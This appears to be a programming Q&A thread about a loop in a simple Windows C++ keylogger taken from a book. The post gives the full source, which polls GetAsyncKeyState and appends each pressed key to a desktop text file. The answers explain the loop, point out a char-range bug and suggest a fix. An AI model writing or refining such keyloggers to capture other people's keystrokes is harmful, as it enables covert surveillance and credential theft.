I'm reading a book on writing a keylogger for fun; I came across this 'for' loop and I'm confused as to how it is relevant.
#include <iostream>
#include <fstream>
#include <windows.h>
#include <Winuser.h>
using namespace std;
void log();
int main()
{
log();
return 0;
}
void log()
{
char c;
for(;;)
{
for(c=8;c<=222;c ) // <<=== THIS LOOP HERE
{
if(GetAsyncKeyState(c) == -32767)
{
ofstream write("C:\\Users\\IEUser\\Desktop\\text.txt",ios::app);
write<<c;
}
}
}
}
From my understanding, it means that C will set c=8, and go through the loop, incrementing until it hits 222, then stops (But it'll continue again anyway because of the parent loop). The book mentions that the numbers 8 and 222 indicate ASCII code.
But I don't see how it links to getting my input! Is the input not being derived from GetAsyncKeyState already?
CodePudding user response:
for(;;)
The infinite loop keeps running (listening)
for(c=8;c<=222;c )
Run values from 8 to 222 included [8,222]
GetAsyncKeyState(c) == -32767)
Determines whether a key is up or down at the time the function is called
So now you are testing against that ASCI represented by c. Now what does the magic number -32767 means?
If we write -32767 in binary it resolves to 1000 0000 0000 0001. As you can see both the most significant bit and the least significant bit is set so from the description follows that the key is down and that it has been pressed down since the last time you called GetAsyncKeyState.
CodePudding user response:
But it'll continue again anyway because of the parent loop.
No. The inner loop will not continue on each iteration of the outer loop; rather, it will restart – with the c variable being reset to 8 on each of those restarts.
Thus, on each of the (potentially infinite) runs of the outer for loop, the inner loop runs through the values of c from 8 to 222 and calls the GetAsyncKeyState() function with each of those values.
Note: Judging from the use of GetAsyncKeyState, this appears to be code designed to run on Windows. Many (most) Windows-compatible compilers have a signed 8-bit char type, so using values greater than 127 will likely cause problems.
The MSVC compiler (Visual Studio 2019) gives the following on your inner for loop:
warning C6295: Ill-defined for-loop: 'char' values are always of range '-128' to '127'. Loop executes infinitely.
The clang-cl compiler (same IDE) gives a similar message:
warning : result of comparison of constant 222 with expression of type 'char' is always true [-Wtautological-constant-out-of-range-compare]
Changing the c variable to an int would fix this – and GetAsyncKeyState takes an int argument, after all.
